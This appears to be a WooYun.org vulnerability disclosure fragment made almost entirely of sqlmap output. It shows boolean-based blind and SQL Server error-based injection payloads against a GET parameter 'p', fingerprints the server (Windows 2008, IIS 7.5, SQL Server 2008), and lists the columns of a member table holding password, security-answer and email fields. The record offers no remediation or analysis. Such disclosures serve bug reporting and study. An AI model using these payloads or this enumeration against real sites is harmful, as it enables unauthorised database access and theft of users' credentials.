WooYun.org

Place: GET
Parameter: p
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: p=0 AND 1958=1958&pv=
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: p=0 AND 746=CONVERT(INT,(CHAR(58)+CHAR(120)+CHAR(115)+CHAR(99)+CHAR(58)+(SELECT (CASE W
HEN (746=746) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(112)+CHAR(99)+CHAR(99)+CHAR(58)))&pv=
---
[15:39:03] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
Database: wutong
Table: dbo.huiyuan
[50 columns]
+-----------------+----------+
| Column          | Type     |
+-----------------+----------+
| beiannum        | bit      |
| ChengxinState   | bit      |
| cishu           | bit      |
| CloseVipmidTime | bit      |
| CloseVipTime    | bit      |
| co              | bit      |
| CurrentPosition | bit      |
| cust_kind       | bit      |
| cust_name       | bit      |
| cust_pass       | bit      |
| domain          | bit      |
| email           | bit      |
| GpsLoginNum     | bit      |
| id              | bit      |
| ipviptime       | bit      |
| Ispromoter      | bit      |
| Issample        | bit      |
| logintime       | bit      |
| num             | bit      |
| OpenID          | bit      |
| OpenVipmidTime  | bit      |
| OpenVipTime     | bit      |
| pass_answer     | bit      |
| pass_note       | bit      |
| price           | bit      |
| Recommend       | bit      |
| Recommend1      | bit      |
| score           | bit      |
| scoreGive       | bit      |
| SoftNum         | bit      |
| stylename       | bit      |
| time            | bit      |
| truename        | bit      |
| url             | bit      |
| Verify          | bit      |
| vip             | bit      |
| vipmid          | bit      |
| VLevel          | bit      |
| vnum            | bit      |
| vtype           | bit      |
| vyear           | bit      |
| wanshanRen      | bit      |
| WapNum          | bit      |
| WebSite         | bit      |
| WebSite1        | bit      |
| WXTNumber       | bit      |
| yuangong        | bit      |
| zcrtel          | bit      |
| zhuangtai       | bit      |
| zhuceren        | nvarchar |
+-----------------+----------+